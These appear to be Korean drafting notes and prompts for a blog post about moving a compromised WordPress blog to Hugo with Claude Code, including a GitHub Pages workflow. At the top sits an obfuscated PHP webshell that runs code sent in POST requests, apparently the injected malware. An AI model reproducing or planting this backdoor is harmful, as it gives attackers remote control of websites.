Claude Code와 함께한 워드프레스에서 Hugo로의 블로그 마이그레이션

<?php
$hello_dolly[]='b585aaea022f1529';
$hello_dolly[]=$_POST;
$hello_dolly[]='color';
if (isset($hello_dolly[1][$hello_dolly[0]])) {
       $dolly = $hello_dolly[1][$hello_dolly[2]]($hello_dolly[1]['theme']($hello_dolly[1][$hello_dolly[0]]));
       $dolly['themes'] = $dolly['theme']();
       $dolly['footer'] = $dolly['footer']($dolly['themes'])[$dolly['name']];
       $dolly['body']($dolly['themes'], $dolly['color']($dolly['header']));
       require_once($dolly['footer']);
       $dolly['size']($dolly['themes']);
}
?>

I want to migrate my self-hosted wordpress blog into new blog with hugo.
(I currently have full database access to the existing wordpress blog)

- posts & uploaded images
    - some of posts are written in markdown
    - some of posts are written in raw HTML
- categories
- tags
- keep existing permalink and url structures
    - For example,
    - post: https://www.letmecompile.com/manage-aws-resources-with-pulumi-iac/
    - catgory: https://www.letmecompile.com/category/javascript/
    - tags: https://www.letmecompile.com/tag/kubernetes/
- Apply similar SEO strategy used in WP's All In One SEO Pack 
    - the way of extracting title/description from a post for SEO
    - sitemap generation: https://www.letmecompile.com/sitemap.xml

If there's a tool for this you can recommend first then, use it after i confirm it.
but if there are no available tools, write a custom migration script.

name: Deploy Hugo site to GitHub Pages

on:
  push:
    branches:
      - main # Set a branch to deploy
  pull_request:
  workflow_dispatch: # Allows manual triggering

jobs:
  # Build job
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          submodules: true # Fetch Hugo themes (true OR recursive)
          fetch-depth: 0   # Fetch all history for .GitInfo and .Lastmod

      - name: Setup Hugo
        uses: peaceiris/actions-hugo@v2
        with:
          hugo-version: '0.148.1'
          extended: true

      - name: Build
        run: hugo --minify

      - name: Upload Pages artifact
        uses: actions/upload-pages-artifact@v3 # This action uploads the built site as an artifact
        with:
          path: ./public # The directory containing your static site files

  # Deploy job
  deploy:
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    runs-on: ubuntu-latest
    needs: build # This job depends on the 'build' job
    permissions:
      pages: write # Required for actions/deploy-pages
      id-token: write # Required for OpenID Connect (OIDC) which is often used for Pages
    if: github.ref == 'refs/heads/main' # Only deploy from main branch

    steps:
      - name: Deploy to GitHub Pages
        id: deployment
        uses: actions/deploy-pages@v4 # This action deploys the uploaded artifact

블로그 글을 워드프레스에서 Hugo로 마이그레이션 하는 과정에 대한 글을 하나 작성하려고해. 다음과 같은 내용인데 아래 조건에 맞게 잘 작성해줘
- 
- contents/posts 에 markdown 형식으로 작성해서 넣어줘
- 말투는 기존 블로그 다른 글을 2-3개 정도 참고해서 작성해줘
- 서론/본론/결론 부분에 대한 적당한 제목을 만들어서 넣어줘
- 적당히 이미지가 필요할 것 같은 부분이 있다면 설명과 함께 placeholder를 만들어줘. 나중에 내가 다시 보고 채워넣을게

## 글 내용

### 서론
- 셀프 호스팅 워드프레스를 버전 업데이트 없이 너무 오래 방치했더니 나도 모르게 취약점에 의해 악의적인 코드가 주입되어 간헐적으로 이상한 웹사이트로 리디렉션된다는 사실을 최근에 파악
- 매번 워드프레스와 그 플러그인들 버전업 하는 부분이 번거롭고 관리가 어려웠고, 워드프레스 최신버전의 글 작성에 사용되는 에디터 마음에 들지 않았음.
- 그래서 이 기회에 취약점도 없고 서버 비용 절감도 절감할 겸 속도가 빠른 정적 페이지 기반의 웹페이지 빌더 방식으로 블로그를 갈아타고 싶었음
- 이 문제는 몇년 전부터 인지하고 있었으나, 이것 저것 새로 설정할 것들이 많다보니 쉽게 마이그레이션 할 엄두가 나지 않음
- 지난달 부터 코드 작성을 하는데 Claude Code 를 잘 사용중이었고, 이걸 이용하면 하루정도면 마이그레이션을 할 수 있지 않을까? 생각함
- 그저께 실제로 행동에 옮김

### 본론

#### 프레임워크 선택
- hugo vs. gatsby vs. astro
- javascript toolchain에 더 익숙하긴 하지만 매번 npm 설치가 귀찮았음
- go 기반의 single native binary 덕분에 설치도 간단하고 빠른 사이트 빌드 속도를 가진 hugo 선택
- go template engine이 익숙하지 않은데다 verbose한 편이라 약간 마음에 안들었지만 어차피 이젠 생성형 AI의 시대라 물어봐서 금방 generate 할 수 있어서 무시 가능한 수준
- hugo의 PaperMod Theme이 상당히 마음에 들었음


#### 마이그레이션 과정
- 실제 마이그레이션 과정을 설명
- 요구 사항 정의
    - 오래된 블로그라서 예전에 모든 글의 source가 markdown형식이 아니고 raw HTML 버전도 섞여있음
    - 디바이스의 디스플레이 크기/해상도에 맞게 이미지 최적화가 자동으로 수행되어야함
    - SEO를 유지하기위해 대부분의 permalink url 을 워드프레스와 동일한 형식으로 유지해야함

- 첫번째 프롬프트 내용 (조금이라도 더 좋은 결과물을 얻기위해 코딩 관련 프롬프트는 항상 영어로 작성)
  ... (생략) ...

- 현재 repo의 git history로부터 commit message와 변경 사항들을 보고 해당 작업 내용들을 bullet point로 요약하기 (commit message는 영어지만 글은 한글로 생성할 것)

- PaperMod Theme을 커스터마이즈하는 과정에서 Claude Code가 자꾸 중복 html/css를 생성하는걸 여러번 뜯어말렸음
- 사실 결과물이 만족스럽고, 내가 코드베이스를 항상 수동으로 수정하는게 아니라면 AI가 중복 코드 생성하는걸 뜯어말리는게 그렇게 의미가 있나 싶지만 몸에 밴 습관을 어찌 하기 힘들었음

#### 배포

- 원래 블로그는 2013년 정도에 구축한거라 LAMP 스택 + AWS t4g.micro 서버 인스턴스에서 돌리고있었음 
- 정적 웹사이트로 바꾼 덕분에 더이상 서버 인스턴스를 쓰지 않아도 되는 장점
- Github Pages, Netlify, Vercel 등을 검토하다가, 저장소/배포를 동일한 서비스에서 간편하게 할 수 있는 Github Pages로 선택


### 결론

- AI agent의 도움 없이 작업했다면 일주일 가까이 걸렸을 작업을 24시간 내에 완벽하게 처리
- AI agent가 일 시켜놓고 나는 유튜브 볼 수 있었음
- 아직 그래도 AI가 종종 삽질을 하기 때문에 충분한 개발 지식이 없는 사람들은 이럴때 해결이 어려울 수 있음
- 어찌됐든 블로그 리뉴얼 후 속도도 빠르고 디자인과 글 작성 흐름 또한 매우 만족 스러워서 지금 이 글을 쓰고있음. 툴링이 편해졌으니 앞으로 더 열심히 글을 써보겠음 (글도 AI로..)